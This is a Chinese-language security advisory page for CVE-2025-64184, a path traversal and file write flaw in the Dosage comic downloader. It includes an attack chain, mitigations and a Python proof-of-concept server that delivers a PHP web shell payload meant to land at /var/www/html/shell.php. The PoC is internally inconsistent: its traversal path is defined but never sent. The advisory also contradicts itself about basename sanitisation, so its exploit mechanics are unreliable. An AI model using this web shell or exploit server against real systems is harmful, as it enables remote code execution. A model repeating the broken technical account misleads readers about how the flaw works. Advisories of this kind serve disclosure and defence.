IPBUF安全漏洞报告
English
CVE-2025-64184 CVSS 8.8 高危

CVE-2025-64184 Dosage路径遍历导致任意文件写入漏洞

披露日期: 2025-11-07

漏洞信息

漏洞编号
CVE-2025-64184
漏洞类型
路径遍历/任意文件写入
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Dosage

相关标签

路径遍历任意文件写入Dosage漫画下载工具中间人攻击高危漏洞CVE-2025-64184文件上传绕过

漏洞概述

CVE-2025-64184是影响Dosage漫画下载工具的一个高危安全漏洞。Dosage是一款用于下载和归档漫画的开源工具,在3.1及以下版本中存在路径遍历和任意文件写入漏洞。漏洞的根本原因在于程序在构造下载文件的目标文件名时,虽然对basename部分正确剥离了目录遍历字符,但文件扩展名直接取自HTTP响应的Content-Type头,而未进行充分的安全验证。攻击者可以通过构造恶意的HTTP响应,在Content-Type头中指定任意文件扩展名(如.php、.py、.sh等),结合精心设计的文件名,从而将文件写入目标目录之外的任意位置。在漫画通过HTTP协议传输的场景下,中间人攻击者可以轻易利用此漏洞。此外,如果漫画源服务器被攻击者控制,同样可以实现任意文件写入。此漏洞的CVSS评分为8.8,属于高危级别,成功利用可能导致远程代码执行、敏感文件覆盖或系统配置篡改等严重后果。

技术细节

该漏洞的技术原理涉及文件命名逻辑中的安全缺陷。在Dosage下载漫画图片的过程中,程序会综合多个来源构造目标文件名,包括页面URL、图片URL和页面内容等元素。关键问题在于文件扩展名的处理机制:程序从HTTP响应的Content-Type头获取文件扩展名,而Content-Type头是攻击者可以完全控制的HTTP响应字段。攻击者可以通过以下方式利用:首先,控制漫画源服务器或进行中间人攻击,在HTTP响应中设置恶意的Content-Type头,例如设置为application/x-httpd-php以获得.php扩展名,或者设置为text/x-shellscript以获得.sh扩展名;其次,在文件名中包含目录遍历序列(如../../../../etc/cron.d/),虽然basename会被正确清理,但扩展名部分仍保留攻击者指定的值;最后,当程序保存文件时,会将basename与扩展名拼接,导致文件被写入目标目录之外的攻击者指定位置。成功利用此漏洞需要满足以下条件:漫画通过HTTP(而非HTTPS)传输,或者漫画源服务器被攻击者控制。攻击者可以利用此漏洞覆盖系统关键文件、植入后门或实现远程代码执行。

攻击链分析

STEP 1
步骤1
攻击者搭建恶意HTTP服务器或对漫画源进行中间人攻击,控制HTTP响应内容
STEP 2
步骤2
攻击者在HTTP响应中设置恶意的Content-Type头,指定可执行文件扩展名(如application/x-httpd-php)
STEP 3
步骤3
攻击者在响应文件名中包含目录遍历序列(如../../../../var/www/html/shell),虽然basename会被清理,但扩展名部分保留攻击者指定的值
STEP 4
步骤4
受害者使用Dosage 3.1或更低版本下载漫画,程序根据Content-Type头设置文件扩展名
STEP 5
步骤5
程序将清理后的basename与来自Content-Type的扩展名拼接,将文件写入攻击者指定的目标位置(如/var/www/html/shell.php)
STEP 6
步骤6
攻击者通过访问写入的恶意文件(如shell.php)实现远程代码执行或其他攻击目的

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-64184 PoC - Malicious HTTP Server Simulates an attacker-controlled comic server that exploits the path traversal vulnerability in Dosage <= 3.1 """ from http.server import HTTPServer, BaseHTTPRequestHandler import os class ExploitHandler(BaseHTTPRequestHandler): def do_GET(self): # Malicious Content-Type header with executable extension # This tricks Dosage into saving files with .php extension content_type = "application/x-httpd-php" # Malicious PHP code to be written to the target file payload = b"<?php system($_GET['cmd']); ?>" # Directory traversal in filename (basename会被清理,但扩展名来自Content-Type) # Target: /var/www/html/shell.php malicious_url = "/comic/../../../../var/www/html/shell" self.send_response(200) self.send_header("Content-Type", content_type) self.send_header("Content-Length", str(len(payload))) self.end_headers() self.wfile.write(payload) print(f"[*] Sent malicious response:") print(f" Content-Type: {content_type}") print(f" Payload will be saved with .php extension") print(f" Target: {malicious_url}.php") def log_message(self, format, *args): print(f"[HTTP] {args[0]}") def main(): server = HTTPServer(('0.0.0.0', 8080), ExploitHandler) print("[*] CVE-2025-64184 Exploit Server") print("[*] Listening on port 8080...") print("[*] Wait for victim to download comic from this server") server.serve_forever() if __name__ == "__main__": main()

影响范围

Dosage <= 3.1

防御指南

临时缓解措施
如果无法立即升级到Dosage 3.2,应采取以下临时缓解措施:1) 确保所有漫画源使用HTTPS而非HTTP访问,防止中间人攻击;2) 使用防火墙规则限制应用程序的写权限,仅允许在指定目录内写入文件;3) 监控系统关键目录(如/etc、/var/www等)的文件变更,及时发现异常写入行为;4) 考虑使用容器化环境运行Dosage,限制其对系统目录的访问能力。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表